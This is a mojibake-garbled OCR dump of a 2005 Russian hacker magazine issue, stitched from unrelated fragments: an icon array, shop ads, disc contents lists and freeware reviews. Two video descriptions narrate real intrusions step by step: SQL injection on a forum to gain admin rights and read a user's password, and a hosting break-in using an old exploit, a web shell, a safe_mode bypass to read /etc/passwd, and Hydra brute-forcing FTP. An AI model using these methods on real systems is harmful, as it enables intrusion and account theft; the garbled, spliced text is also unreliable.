"   . . X X X o o    ",

''  . X X X X X X X o   ",

"  . X X X X X X X o   ",

" . X X X X O X X X X o  ",

" . X X X O O O X X X o  ",

" . X X X X O X X X X o  ",

"  . X X X X X X X o   ",

"  . X X X X X X X o   ",

"   o o X X X o o    ",

"     o o o      ",

"             "

};
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ÑÒÀËÎ

WarCraft IIII 
Action FFigure: 

Ticondrius $$4422..9999 

Îãðîìíûé 
âûáîð êêîìïüþ-
òåðíûé èèãð

Èãðû ääëÿ ââñåõ 
òåëåâèçèîííûõ  
ïðèñòàâîê

Êîëëåêöèîííûå
ôèãóðêè èèç 
èãð

* * *
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$269.99
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$269.99
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$99.99
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$179.99

ÑÊÓ×ÍÎ? 

ÍÅ ÏÎÐÀ ËÈ
ÑÌÅÍÈÒÜ ÈÃÐÓ?

*

PPllaayySSttaattiioonn 22 ((SSlliimm)) RUS

$175.99

GGaammeeCCuubbee

$139.99
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Îïèñàíèå âèäåî: 
Âçëîì IdealBB íà ïðèìåðå
forum.xakep.ru | Nitrex 
Â ýòîì âèäåîðîëèêå õàêåð ïîêàçûâàåò âåñüìà
èíòåðåñíóþ óÿçâèìîñòü � SQL Injection â ôîðó-
ìå IdealBB. Â êà÷åñòâå ïðèìåðà âûñòóïàåò ôî-
ðóì âñåìè ëþáèìîãî æóðíàëà Õàêåð
(forum.xakep.ru). 
Ñíà÷àëà õàêåð ëîãèíèòñÿ ïîä ñâîèì àêêàóíòîì
è çàõîäèò â ñâîé ïðîôàéë. Ïîäñòàâèâ êàâû÷êó
â ïåðåìåííóþ $pvtFolNo, îí ïîëó÷àåò îøèáêó â
ñèíòàêñèñå SQL-çàïðîñà, ïîñëå ÷åãî ïðîáóåò
âûïîëíèòü ïðîñòåéøèé SQL-çàïðîñ � "select
null". Çàïðîñ óñïåøíî âûïîëíÿåòñÿ.
Îòêðûâ ñîðöû ôîðóìà, õàêåð óçíàåò èìåíà
âñåõ ïîëåé â òàáëèöå "Members". Äëÿ íà÷àëà
õàêåð äåëàåò ñåáÿ àäìèíèñòðàòîðîì íà ôîðó-
ìå, èçìåíèâ çíà÷åíèå "M_Level" â òàáëèöå
Members. Îíî îòâå÷àåò çà ñòàòóñ ïîëüçîâàòåëÿ
è ìîæåò ïðèíèìàòü îäíî èç òðåõ çíà÷åíèé: 1 �
îáû÷íûé ïîëüçîâàòåëü, 2 � ìîäåðàòîð, 3 �
àäìèíèñòðàòîð. Íå ïîñòåñíÿâøèñü, çëîóìûø-
ëåííèê ñðàçó ñòàíîâèòñÿ  àäìèíîì.
Òåïåðü ñåòåâîé íåãîäíèê õî÷åò óçíàòü ïàðîëü
ïîëüçîâàòåëÿ "b00b1ik" :). Äëÿ ýòîãî îí ñîñòàâ-

ëÿåò íåõèòðûé çàïðîñ è âñòàâëÿåò â ñâîþ ïîä-
ïèñü. Ïîñåòèâ ñòðàíèöó ñ ïàðàìåòðàìè ñâîåãî
ïðîôàéëà, îí óâèäåë çàâåòíûé ïàðîëü è ñ åãî
ïîìîùüþ óñïåøíî çàëîãèíèëñÿ íà ôîðóìå.

Îïèñàíèå âèäåî: 
Âçëîì õîñòèíãà: ÷àñòü âòîðàÿ | sashiks
Â ýòîò ðàç ïîä ïðèöåëîì îêàçàëàñü óæå âòîðàÿ
õîñòåðñêàÿ ìàøèíà, è çàäà÷à êîìïüþòåðíîãî
õóëèãàíà çàêëþ÷àåòñÿ â òîì, ÷òîáû ïîëó÷èòü
íåñêîëüêî ïîëüçîâàòåëüñêèõ àêêàóíòîâ. "Êðÿ-
êåð èíåòà" NSD íàøåë áàæíûé ôîðóì, îäíàêî,
âûïîëíÿòü êîìàíäû ÷åðåç èçâåñòíóþ äûðó íå
ïîëó÷àëîñü � â íàñòðîéêàõ ñåðâåðà áûëà
âêëþ÷åíà îïöèÿ PHP_SAFE_MOD. Ïî ýòîé ïðè-
÷èíå íàø ãåðîé ïûòàåòñÿ âçëîìàòü áîðäó ñòà-
ðûì ýêñïëîèòîì äëÿ admin_styles.php. Êàê íè
ñòðàííî, ó íåãî ýòî âûõîäèò, è îòìû÷êà âûäàåò
çàâåòíóþ ñòðàíè÷êó ñ âîçìîæíîñòüþ âûïîëíå-
íèÿ PHP-êîäà â eval(). Ðàáîòàòü âðó÷íóþ ÷åðåñ-
÷óð êðîïîòëèâî è íåóäîáíî. ×òîáû óñêîðèòü
ïðîöåññ ïðîíèêíîâåíèÿ, õàêåð ïîäêëþ÷àåò
RST-øåëë (çàìå÷ó, îäíàêî, ÷òî àâòîðèçàöèÿ â
íåì äîëæíà áûòü îòêëþ÷åíà). Ïîëó÷èë â ñâîå
ðàñïîðÿæåíèå êîå-êàêîé äîñòóï, íå ìåäëÿ íè
ñåêóíäû, õàêåð íà÷èíàåò èññëåäîâàòü ñîäåð-
æèìîå êàòàëîãîâ. Êàê ÿ óæå ñêàçàë, PHP-èíòå-
ðïðåòàòîð ïåðåâåäåí â áåçîïàñíûé ðåæèì
(safe-mode), ïîýòîìó âûïîëíèòü êîìàíäû íå
ïîëó÷èòüñÿ. ×òîáû ïîëó÷èòü õîòü êàêîé-òî
øàíñ äîáûòü æåëàííûå àêêàóíòû, íàø ãåðîé
ïûòàåòñÿ ðàçíûìè ìåòîäàìè ïðî÷åñòü /etc/pass-
wd è âûóäèòü þçåðñêèå ëîãèíû, íî è ýòî îêàçà-
ëîñü íå òàêîé óæ è ïðîñòîé çàäà÷åé... Â ïðîöåñ-
ñå èçó÷åíèÿ äèðåêòîðèé îáíàðóæèâàåòñÿ ëþáî-
ïûòíàÿ ïàïî÷êà «shop» � ïîõîæå, ÷òî íà ñàéòå
êðóòèòüñÿ íåáîëüøîé îíëàéí-ìàãàçèí. ×òîáû
ïîðóëèòü àäìèíêîé å-øîïà, íóæíî çíàòü ëîãèí
è ïàññ äÿäüêè àäìèíà. Ñàìî ñîáîé è òî, è äðó-
ãîå õàêåð áåç ïðîáëåì íàõîäèò â íåçàìåòíîì,
íà ïåðâûé âçãëÿä, ôàéëå php.ini. Ñ ïîìîùüþ
ïîëó÷åííûõ äàííûõ îí âëåçàåò â ïàíåëü óïðàâ-
ëåíèÿ «Ñåëüìàãîì» è� óæå ïî òðàäèöèè íå íà-
õîäèò òàì ðîâíûì ñ÷åòîì íè÷åãî ïîëåçíîãî.
Âïðî÷åì, íàäåæäà ïîëó÷èòü äîñòóï ê ôàéëó ñ

ñèñòåìíûìè ëîãèíàìè åùå åñòü! Äëÿ ÷òåíèÿ
ôàéëîâ â áåçîïàñíîì ðåæèìå áûë íàïèñàí
ñïåöèàëüíûé ñêðèïò íà PHP, êîòîðûé ðàáîòàåò
ñ MySQL è ñ÷èòûâàåò íóæíûé ôàéë. Ãëàâíîå
óñëîâèå � èìåòü â ðàñïîðÿæåíèè äîñòóï ê ÁÄ,
êîòîðûé, êàê ÿ óæå ñêàçàë, áûë ðàíåå ïîëó÷åí.
Õàêåð òðàíñïîðòèðóåò safe_mode.php (èìåííî
òàê íàçâàí ñêðèïò) ñ security.nnov.ru è ìåíÿåò
ñòàíäàðòíûå çíà÷åíèÿ âàæíûõ ïàðàìåòðîâ,
ïîñëå ÷åãî çàëèâàåò ñöåíàðèé íà õîñò. Âóàëÿ!
Ôàéëèê ñ ó÷åòíûìè çàïèñÿìè ëåãêî îêàçûâàåò-
ñÿ â íàøèõ ëàïàõ.
Òåïåðü ñàìîå âðåìÿ ïîäóìàòü îá îðãàíèçàöèè
áðóòôîðñà. Ãëàâíûé ãåðîé ïîäêëþ÷àåòñÿ ê
øåëëó è îòäàåò èçâåñòíîìó áðóòåðó Hydra êî-
ìàíäó «ôàñ», ïîäðàçíèâ åå òîëüêî ÷òî äîáû-
òûì ôàéëîì passwd. Ê íåñ÷àñòüþ, PureFTP, óñ-
òàíîâëåííûé ó õîñòåðà, íè â êàêóþ íå âûíîñèò
"ïèöîò" ïîïûòîê ëîãèíà ñ îäíîãî àäðåñà è ïî-
ñûëàåò âçëîìùèêà ëåñîì :). ×òîáû èñïðàâèòü
ñëîæèâøóþñÿ ñèòóàöèþ íóæíî èçìåíèòü êîëè-
÷åñòâî îäíîâðåìåííî çàïóùåííûõ ïîòîêîâ äî
1, òî åñòü â ïðèíöèïå îòêëþ÷èòü ìíîãîïîòî÷-
íîñòü. Ïîñëå ýòèõ äîâîëüíî-òàêè íåõèòðûõ ìà-
íèïóëÿöèé ãåðîé áóêâàëüíî ÷åðåç ïàðó ìèíóò
ïîäáèðàåò ïàðîëè ê íåñêîëüêèì àêêàóíòàì.
Mission Accomplished ;) 

units_DISCO
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DEVELOPMENT
ActivePython 2.4.1.247
ASPack 2.12
ASProtect 1.23
ASProtect SKE Free Trial
Dreamweaver 8
HiTechVnSoft Editplus For NET 
Nullsoft Install System (NSIS) 
OllyDbg 1.10

UltraEdit v11.20
Visual Prolog 6.3
Win Merge 2.4.0

MISC
7-Zip 4.29
Acrobat Reader 7.0.5
Advanced Diary 1.2
AM-DeadLink 2.7

ArtMoney SE v7.14
AveDesk 1.3
Chameleon Clock 3.50.3
CyberArticle v4.35
DiskMonitor 4
EasyClip 2.0
FAR Manager 1.70 Alpha 6 
GMail Drive 1.0.8
KeePass-1.03
KillCopy 2.82
nLite v1.0 RC1
PDF Explorer beta 1.5
Rainlendar-0.21.2
Samurize 1.63.1
Universal Vista Inspirat Brico 
WinRAR 3.51
XDESK 4.20

MULTIMEDIA
AV Voice Changer Software 
Blender for Windows 2.40 
DivxToDVD 1.99.21
DVDLab Pro v1.53

FontLab Studio 5.0
Mp3tag 2.33a
Paint.NET 2.5 Beta 4
Panorama Composer 2
Picasa 2.1.0
SnagIt 7.2.4
Winamp 5.11
Winamp TV 1.9b10
Xara Xtreme

NET
AdvancedRemoteInfo 0.6.4.1
AiRoboForm 6.3.98
CuteFTP 7.1
DNS Redirector Setup 
DynDNS Updater 3.1.0.7
Firefox 1.0.7
FTPRush Unicode 1.0.0568
Hamachi for Windows
MRTG 2.12.2
My Voice Email 1.5
Naoko 4.5 June
Opera 8.50

Secure CRT 5.0.3
Slim Browser Ver 4.06
Teamspeak 2
Tiny Firewall 6.5.126l
Tor for Windows 0.1.1.8 
uTorrent 1.1.5
WinHTTrack 3.33
X-Chat 2.4.5f
XDCC Catcher Basic 2.2.1.0

SYSTEM
Access Boss 2.2
Ashampoo Magic Security 
ATI Tray Tools 1.0.4.780
BIOS Finder 3.0.7
Double Driver 1.0
FireDaemon-Pro 1.8
Hide Folders XP v.2.2
IntelliComplete Professional 3.3
Notebook Hardware Control 1.9 
O&O Defrag 8.0.1398
RivaTuner 2.0 RC 15.7
VirtualWiFi 1.0

DEVELOPMENT
nvu 1.0
qt 3.3.5

MISC
BasKet 0.5.0
Kat � Desktop Search
Engine for Linux 0.6.4
kbootsplash 0.4 CR2
KChm 0.6.5
PornView 0.2
psyBNC2.3.2-7

RPM Finder 1.3.2
Synaptic 0.57.2
Xpdf 3.01
Yum 2.4.0

MULTIMEDIA
amaroK 1.3.5
DVD Rip-O-Matic 0.92
gimp-2.2.0
K3b 0.12.5
Macromedia Flash Player for
Linux 7.0.25.0

Xara LX 0.1b
xine 

NET
Apache 1.3.34
ethereal 0.10.12
Firefox 1.0.7
Hamachi 0.9.9.9
iptables 1.3.3
KDE Bluetooth Framework 1.0 
KMLDonkey 0.10.1
KMyMoney 0.8

licq 1.3.2
MLdonkey 2.6.6
Mozilla Suite 1.7.12
Mozilla Thunderbird 1.0.7
mrtg-2.12.2
PuTTY 0.58
sniffdet-0.9
Tor for Unix 0.1.1.8-alpha
xchat-2.4.5

SYSTEM
chkrootkit 0.45

ClamAV 0.87
MySQL 5.0
nilfs 1.0.1
Partition Logic 0.57
pgadmin3-1.2.2
phpPgAdmin 3.5.6
Postfix 2.2
PostgreSQL 8.0.4
Sendmail 8.13.5
snort-2.4.3
Wine 0.9

WINDOWS

CD1

¹ 11(83) ÍÎßÁÐÜ 2005

VISUAL HACK ++
Âçëîì õîñòèíãà: ÷àñòü âòîðàÿ
Âçëîì IdealBB íà ïðèìåðå
forum.xakep.ru
Ïðîõîæäåíèå îêòÿáðüñêîãî
êîíêóðñà

ØÀÐÎWAREZ
Animation Workshop 2.0.8
Cute Reminder v 2.1
Full Screen v 2.5
GEO Spider v 1.5
Kaboodle 1.02
miniMIZE v 1.0.24
Multiplicity v 1.02

NH Backup v 3.0
Screen Babe 2006
Secura Backup 2.13
SharpKeys v 1.1
TranslateIt! v 1.4 beta
UsefulRest 2.6a Build 94
WebSite-Watcher v 4.04
WinFonie Mobile 1.9.54

UNIXWAREZ
Cinelerra 2.0
Devhelp 0.10
gFtp 2.0.18
GXine
KRadio 1.0
XdTV 2.2.0

X-TOOLZ
BT-Devices Viewer v.0.19a
Kismet-2005-08-R1
Offline NT Password &
Registry Editor
THC-pptp-bruter 0.1.4

UPDATES
Áåñïëàòíàÿ âåðñèÿ DrWeb
äëÿ ÷èòàòåëåé æóðíàëà
Õàêåð
Áàçû äëÿ Àíòèâèðóñà
Êàñïåðñêîãî
Âñå àêòóàëüíûå çàïëàòêè
äëÿ Windows XP SP2

TRASH
Ðåçèçû THC
Ðåçèçû RST

MAGAZINE

CD2

x
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SharpKeys v 1.1
Windows 2k/XP/2003
Size: 1073 Kb
Freeware
www.randyrants.com/sharpkeys

Êîãäà îáû÷íîìó ïîëüçîâàòåëþ òðåáóåòñÿ îòêëþ÷èòü èëè ïåðåíàçíà÷èòü
íåêîòîðûå êíîïêè íà êëàâèàòóðå, îí óñòàíàâëèâàåò ñåáå íà ìàøèíó êà-
êîé-íèáóäü êëàâèàòóðíûé ìåíåäæåð. Îäíàêî ïðîäâèíóòûå þçåðû çíàþò,
÷òî òó æå çàäà÷ó ìîæíî ðåøèòü çíà÷èòåëüíî èçÿùíåé � ïóòåì ïðàâêè
ðååñòðà. Â ïîñëåäíèõ âåðñèÿõ ÎÑ Windows ðåìàïïèíãîì êëàâèø çàâåäó-
åò äâîè÷íûé ïàðàìåòð Scancode Map, êîòîðûé íàõîäèòñÿ (ñîçäàåòñÿ) â
ðàçäåëå HKLM\SYSTEM\CurrentControlSet\Control\Keyboard Layout. Íî
âðó÷íóþ ðåäàêòèðîâàòü ýòîò ïàðàìåòð äîâîëüíî óòîìèòåëüíî, íåñìîòðÿ
íà íàëè÷èå â Ñåòè ïîäðîáíûõ èíñòðóêöèé (www.usnetizen.com/fix_caps-
lock.html). Çäîðîâî âûðó÷àþò ãîòîâûå REG-ôàéëû, êîòîðûõ ïîëíî â
FAQ'àõ è íà ôîðóìàõ, íî, ê ñîæàëåíèþ, âûïîëíåíèå îäíîãî REG-ôàéëà
àâòîìàòè÷åñêè îòìåíÿåò äåéñòâèå äðóãîãî. ß ñàì ñòàëêèâàëñÿ ñ ýòîé
ïðîáëåìîé è, ÷åñòíî ãîâîðÿ, íàøåë åå ðåøåíèå äàëåêî íå ñðàçó. Íî âñå-
òàêè íàøåë. Ïðîøó ëþáèòü è æàëîâàòü � SharpKeys, óòèëèòà äëÿ âèçó-
àëüíîãî ðåäàêòèðîâàíèÿ ïàðàìåòðà Scancode Map. Î÷åíü óäîáíàÿ âåùü!
Âî-ïåðâûõ, îíà ðàñøèôðîâûâàåò è ïîêàçûâàåò òåêóùåå ñîñòîÿíèå óêà-
çàííîãî ïàðàìåòðà, à âî-âòîðûõ, ïîìèìî èíôîðìàöèè î ñòàíäàðòíûõ
êíîïêàõ, â åå áàçó çàáèòû ñêàí-êîäû äîïîëíèòåëüíûõ êëàâèø ðàçëè÷íûõ

ìóëüòèìåäèéíûõ êëàâèàòóð. Òû, íàâåðíîå, çíàåøü, ÷òî ìíîãèå âëàäåëü-
öû òàêèõ êëàâèàòóð æàëóþòñÿ íà íåñòàíäàðòíóþ ðàáîòó êíîïîê F1-F12 (ïî
óìîë÷àíèþ, äî íàæàòèÿ íà ñïåöèàëüíóþ êëàâèøó «F Lock», îíè íå ðàáî-
òàþò)? Òàê âîò, ñ ïîìîùüþ SharpKeys ýòî ëå÷èòñÿ çà ïÿòü ìèíóò. Ïîñìîò-
ðè íà ñêðèíøîò: âñåãî íåñêîëüêî çàïèñåé è ôóíêöèîíàëüíûå êëàâèøè ìî-
åé Microsoft Natural Keyboard íà÷èíàþò âåñòè ñåáÿ àäåêâàòíî, à áåñïîëåç-
íàÿ êíîïêà «Home» ïðåâðàùàåòñÿ â êðàéíå ïîëåçíûé «Insert».

miniMIZE v 1.0.24
Windows XP
Size: 349 Kb
Freeware
http://aquaria.za.net

Îðèãèíàëüíàÿ óòèëèòà, ðàñøèðÿþùàÿ âîçìîæíîñòè ñòàíäàðòíîãî ãðà-
ôè÷åñêîãî èíòåðôåéñà Windows. Äåëàåò ïðîöåññ ñâîðà÷èâàíèÿ/ìèíè-
ìèçàöèè îêîí ãîðàçäî áîëåå íàãëÿäíûì. Åñëè ðàíüøå îêíà ïðîñòî èñ-
÷åçàëè ñ ýêðàíà, òî òåïåðü îíè óìåíüøàþòñÿ â ðàçìåðàõ è ðîâíûìè
ðÿäàìè âûñòðàèâàþòñÿ íà ðàáî÷åì ñòîëå. Êîíå÷íî, âûãëÿäèò ýòî íåî-
áû÷íî, çàòî ïåðåêëþ÷åíèå èç îêíà â îêíî ïðåâðàùàåòñÿ â ñïëîøíîå
óäîâîëüñòâèå. Ïðè÷åì, â îòëè÷èå îò ïîïóëÿðíûõ íûí÷å âèçóàëüíûõ
taskswitcher'îâ, óòèëèòà miniMIZE ðàáîòàåò ïîñòîÿííî, íå òðåáóÿ àêòè-
âàöèè «ãîðÿ÷åé êëàâèøåé».
Ïðè íåîáõîäèìîñòè óìåíüøåííûå èçîáðàæåíèÿ îêîí ìîãóò ðàçìå-
ùàòüñÿ íà ïåðåäíåì ïëàíå, ÷òî åùå áîëüøå îáëåã÷àåò ïðîöåññ ïåðåê-
ëþ÷åíèÿ ìåæäó ïðèëîæåíèÿìè. Êðîìå òîãî, òû ìîæåøü óïðàâëÿòü ðàç-
ìåðàìè «ïðåâüþøåê» è ñòåïåíüþ èõ ïðîçðà÷íîñòè. Âåñèò ïðîãðàììà
íåìíîãî, ïðîöåññîð ïðàêòè÷åñêè íå ãðóçèò è äåíåã çà ñâîþ ðàáîòó íå òðå-
áóåò. Çàèíòåðåñîâàâøèìñÿ òîâàðèùàì íàñòîÿòåëüíî ñîâåòóþ ïîñëå

ïðî÷òåíèÿ äàííîé çà-
ìåòêè ïðîñëåäîâàòü
íà äîìàøíþþ ñòðà-
íè÷êó miniMIZE: óòè-
ëèòà àêòèâíî ðàçâè-
âàåòñÿ è åå àâòîð ãðî-
çèëñÿ â ñàìîå áëè-
æàéøåå âðåìÿ ïîðà-
äîâàòü âñåõ þçåðîâ
íîâîé âåðñèåé ñ áî-
ëåå ïðîäâèíóòûìè íàñò-
ðîéêàìè. 

SHAROWARES
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M.J.Ash
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Full Screen v 2.5
Windows 9x/Me/NT/2k/XP
Size: 500 Kb
Shareware
www.fanix.com

Óíèêàëüíàÿ óòèëèòà äëÿ ìàêñèìàëüíî ýôôåêòèâíîãî èñïîëüçîâàíèÿ ýê-
ðàííîãî ïðîñòðàíñòâà. Âñòðàèâàåòñÿ â ñèñòåìó è ïîçâîëÿåò îäíèì êëè-
êîì ðàçâîðà÷èâàòü èíòåðåñóþùåå òåáÿ îêíî íà âåñü ýêðàí. Ïðè ýòîì çà-
ãîëîâîê äàííîãî îêíà ïðÿ÷åòñÿ çà âåðõíèì êðàåì ýêðàíà, à ïàíåëü çà-
äà÷ ïðèíóäèòåëüíî óáèðàåòñÿ. Òåáå ýòîãî íåäîñòàòî÷íî? Î�ê, òîãäà åñòü
äðóãîé âàðèàíò. Âìåñòî òîãî ÷òîáû êëèêàòü ëåâîé êíîïêîé ìûøêè, óäåð-
æèâàÿ ïðè ýòîì íàæàòîé êëàâèøó Alt, ïî çàãîëîâêó, ïîïðîáóé êëèêíóòü
ïî ðàáî÷åé îáëàñòè ïðèëîæåíèÿ: åñòü ñåðüåçíàÿ âåðîÿòíîñòü òîãî, ÷òî
ïðîãðàììå Full Screen óäàñòñÿ ýòó îáëàñòü ìàêñèìèçèðîâàòü. Ïîýêñïå-
ðèìåíòèðóé! Òû äîâîëüíî ñêîðî óáåäèøüñÿ, íàñêîëüêî ýòî óäîáíî, îñî-
áåííî ñ ó÷åòîì òîãî, ÷òî ïîâòîðíûé êëèê (ñ óäåðæèâàíèåì Alt'à) ìãíî-
âåííî âîçâðàùàåò âñå â èñõîäíîå ñîñòîÿíèå.
Êñòàòè, ïîìèìî ãëàâíîé ôóíêöèè, Full Screen ïðåäëàãàåò þçåðó öåëûé
ðÿä ïðèÿòíûõ äîïîëíèòåëüíûõ óñëóã (ôèêñàöèÿ ðàçìåðîâ è ðàñïîëîæåíèÿ
âûáðàííîãî îêíà, áûñòðîå ðàçìå-
ùåíèå åãî â íóæíîé îáëàñòè ýêðà-
íà, ïðèñâîåíèå àòðèáóòà «ïîâåðõ
âñåõ îêîí» è ò.ä.). Ïðè÷åì òåáå íåò
íóæäû ïàðèòüñÿ, çàó÷èâàòü ìíîæå-
ñòâî êîìáèíàöèé «ãîðÿ÷èõ êëà-
âèø»: Ctrl + ïðàâûé êëèê ìûøêîé
� è Full Screen âûïëåâûâàåò íà ïå-
ðåäíèé ïëàí ìåíþøêó ñ ïîëíûì
ñïèñêîì îïåðàöèé, êîòîðûì ìîæíî
ïîäâåðãíóòü îêíî ïîä êóðñîðîì.

Cute Reminder v 2.1
Windows 9x/Me/NT/2k/XP
Size: 1772 Kb
Shareware
www.cutereminder.com

Áëîêíîò, «ëèïêèå ëèñòî÷êè» è ïðîäâèíóòûé «áóäèëüíèê» � âîò òðè îñ-
íîâíûõ ñîñòàâëÿþùèõ Cute Reminder. Ñîãëàñåí, íàáîð ôóíêöèé íå ïîðà-
æàåò âîîáðàæåíèå� íî òîëüêî ëèøü äî òåõ ïîð, ïîêà òû íå ïîïðîáóåøü
ýòó ïðîãó â äåëå. ×åñòíî ñêàæó, ÿ «ïîäñåë» íà Cute Reminder óæå ïîñëå
ïåðâûõ ïÿòè ìèíóò òåñòèðîâàíèÿ. Ñòåïåíü íàâîðî÷åííîñòè íå èìååò çíà-
÷åíèÿ, ïðîäóìàííîñòü è óäîáñòâî èñïîëüçîâàíèÿ � âîò ÷òî ÿ öåíþ â ïî-
äîáíûõ óòèëèòàõ áîëüøå âñåãî. Âñå âàæíåéøèå ôóíêöèè ïðîãðàììû íà-
õîäÿòñÿ îò ïîëüçîâàòåëÿ íà ðàññòîÿíèè îäíîãî êëèêà. Ýòî äîñòèãàåòñÿ çà
ñ÷åò íàëè÷èÿ ñïåöèàëüíîé ïàíåëè áûñòðîãî âûçîâà, êîòîðàÿ ïî÷òè ïîë-
íîñòüþ ïðÿ÷åòñÿ çà êðàåì ýêðàíà, âûëåçàÿ îòòóäà ëèøü ïðè ïðèáëèæå-
íèè êóðñîðà ìûøè. Îäèí êëèê � è òû óæå ãîòîâ çàïèñûâàòü äèêòóåìûé
àäðåñ, íîìåð òåëåôîíà èëè íåîæèäàííî ïðèøåäøóþ òåáå â ãîëîâó èäåþ.
Îäèí êëèê � è ÷åðåç ïÿòü ìèíóò ïðîãà ñ óäîâîëüñòâèåì íàïîìíèò òåáå,
÷òî òû ïîñòàâèë ÷àéíèê íà ïëèòó. Ïðè ýòîì ïðîñòîòà èñïîëüçîâàíèÿ îò-
íþäü íå îçíà÷àåò óðåçàííîé ôóíêöèîíàëüíîñòè Cute Reminder. Íàîáî-

ðîò, ñèñòåìà íàïîìèíàíèé ýòîé ïðîãè îòëè÷àåòñÿ çàâèäíîé ãèáêîñòüþ.
Åñòü îáùèé Control center, ïîçâîëÿþùèé ïðîñìàòðèâàòü/ðåäàêòèðîâàòü
íàêîïëåííûå çàìåòêè èëè ïðîãðàììèðîâàòü ìíîãî÷èñëåííûå «áóäèëüíè-
êè» ñ ïîìîùüþ âñòðîåííîãî ïëàíèðîâùèêà. Äëÿ öåíèòåëåé ïðåêðàñíîãî
ïðåäóñìîòðåíà ïîääåðæêà ñìåííûõ øêóð. Ðåñóðñîïîòðåáëåíèå (âàæíàÿ
õàðàêòåðèñòèêà ïðîãðàìì äàííîãî âèäà) � íåâûñîêîå. Ïîìèìî ñòàíäà-
ðòíîé âåðñèè, ñ äîìàøíåé ñòðàíè÷êè Cute Reminder ëþáèòåëè ëèøíèõ
íàâîðîòîâ ìîãóò âûêà÷àòü âåðñèè Professional è Enterprise.

TranslateIt! v 1.4 beta
Windows 9x/Me/NT/2k/XP
Size: 2700 Kb
Freeware
www.translateit.ru

Ïî-íàñòîÿùåìó êîíòåêñòíûé àíãëî-ðóññêèé ïåðåâîä÷èê. Çàïóñêàåøü
TranslateIt!, ïîäâîäèøü óêàçàòåëü ìûøè ê íåçíàêîìîìó ñëîâó, è ðÿäîì
òóò æå ïîÿâëÿåòñÿ íåáîëüøîå îêîøêî ñ ïåðåâîäîì. Áûñòðî è óäîáíî, íî
ãëàâíîå � íå íàäî îòâëåêàòüñÿ îò ÷òåíèÿ äëÿ ðàáîòû ñî ñëîâàðåì, òå-
ðÿÿ ïðè ýòîì õîä ìûñëè. 
Ïðîãðàììà ìîæåò ðàáîòàòü ñ ëþáûìè ïðèëîæåíèÿìè, èñïîëüçóþùèìè
äâèæîê Internet Explorer (Outlook Express, Maxthon/MyIE2, CyberArticle è
ò.ä.). Ðàçðàáîò÷èêè óòâåðæäàþò, ÷òî â äàííîé âåðñèè ñîäåðæèòñÿ àíãëî-
ðóññêèé ñëîâàðü ñ áîëåå ÷åì 84000 ñëîâàðíûõ ñòàòåé è ðóññêî-àíãëèéñ-
êèé ñëîâàðü ñ áîëåå ÷åì 66000 ñëîâàðíûõ ñòàòåé. Ïðè ýòîì ïåðåâîä
ñëîâ TranslateIt! ïîêàçûâàåò âåñüìà îïåðàòèâíî, à ïðîöåññîð ãðóçèò íåç-
íà÷èòåëüíî. Â ïðîãðàììå ïðåäóñìîòðåí ìåõàíèçì àâòîìàòè÷åñêîé ñìå-

íû íàïðàâëåíèÿ ïåðåâîäà â çàâè-
ñèìîñòè îò ÿçûêà ïåðåâîäèìîãî
ñëîâà, åñòü ïîääåðæêà ïðîôèëåé.
Ðàçðàáîò÷èêè íàçûâàþò ñâîé ïåðå-
âîä÷èê óíèêàëüíûì (õîòÿ íà ñàìîì
äåëå ýòî íå òàê). ß çíàþ ìíîãî ïðîã,
ðàáîòàþùèõ ïî òîìó æå ïðèíöèïó.
Ïîýòîìó óíèêàëüíûì ñêîðåå ñëåäó-
åò ñ÷èòàòü òîò ôàêò, ÷òî ñòîëü èíòå-
ðåñíàÿ, ñòàáèëüíî ðàáîòàþùàÿ óòè-
ëèòà ðàñïðîñòðàíÿåòñÿ ñîâåðøåííî
áåñïëàòíî, ïðè÷åì ñ íåóðåçàííûì,
áîãàòûì «ñëîâàðíûì çàïàñîì». 

Multiplicity v 1.02
Windows 2k/XP/2003
Size: 2859 Kb
Shareware
www.stardock.com/products/multiplicity

Äîâîëüíî íåòèïè÷íûì äëÿ ñåáÿ ïðîäóêòîì íàñ íåäàâíî ïîðàäîâàëà êîìïà-
íèÿ Stardock. Ìîæåò áûòü, åå ðàçðàáîò÷èêàì óæå ïðîñòî äî ñìåðòè íàäîå-
ëî êëåïàòü óòèëèòû äëÿ èçìåíåíèÿ èíòåðôåéñà Windows è îíè, ðàäè ðàç-
íîîáðàçèÿ, ðåøèëè çàìóòèòü ÷òî-íèáóäü äåéñòâèòåëüíî ïîëåçíîå? Íå
çíàþ� Êàê áû òî íè áûëî, ðåáÿòà íå ïîäêà÷àëè. Èõ ïðîãðàììà Multiplicity
� íàñòîÿùàÿ íàõîäêà äëÿ òåõ, êòî ïîðîé âûíóæäåí ðàáîòàòü íà íåñêîëü-
êèõ êîìïàõ îäíîâðåìåííî. Áëàãîäàðÿ åé ìûøü è êëàâà îäíîãî êîìïüþòå-
ðà ìîæåò èñïîëüçîâàòüñÿ äëÿ ðàáîòû íà äðóãîì, ðÿäîì ñòîÿùèì. Òî åñòü
òû ìîæåøü èãðàòü íà îäíîé ìàøèíå è â ýòî æå âðåìÿ ïèñàòü îò÷åò íà äðó-
ãîé, íå ïðûãàÿ ñ îäíîé êëàâèàòóðû íà äðóãóþ. Åñòåñòâåííî, ñïîñîáû ïåðåê-
ëþ÷åíèÿ ìåæäó êîìïüþòåðàìè ïðåäóñìîòðåíû ñàìûå ðàçíîîáðàçíûå. Ê
òîìó æå ðåáÿòà èç Stardock, ñàìî ñîáîé, íå ìîãëè îáîéòèñü áåç âèçóàëü-
íûõ ýôôåêòîâ, òàê ÷òî
ïðè ïåðåäà÷å óïðàâëå-
íèÿ êàðòèíêà íà ìîíè-
òîðå òîé ìàøèíû, ñ êî-
òîðîé òû «óøåë»,
ïëàâíî òåìíååò, à ó
òîé, íà êîòîðóþ «ïðè-
øåë», òàêæå ïëàâíî
ïðèîáðåòàåò íîðìàëü-
íóþ ÿðêîñòü. Íî ýòî
åùå íå âñå âêóñíîñòè!
Íå ñòîèò çàáûâàòü î
íàëè÷èè îáùåãî áóôå-
ðà îáìåíà ó âñåõ ìà-
øèí, ðàáîòàþùèõ ïîä
Multiplicity, è î âîçìîæ-



íîñòè (â Pro âåðñèè) ïðîñòîãî îáìåíà ôàéëàìè ìåæäó òàêèìè ìàøèíàìè. 
Íó ÷òî ïîñëå ýòîãî ìîæíî ñêàçàòü?!! Òîëüêî îäíî � Must have. È ïîÿñíèòü
(÷èñòî äëÿ ñàìûõ áåñòîëêîâûõ :)), ÷òî äëÿ ñîçäàíèÿ åäèíîãî «öåíòðà óïðàâëå-
íèÿ» òðåáóåòñÿ íàëè÷èå ëîêàëüíîé ñåòè è ïðåäâàðèòåëüíàÿ óñòàíîâêà
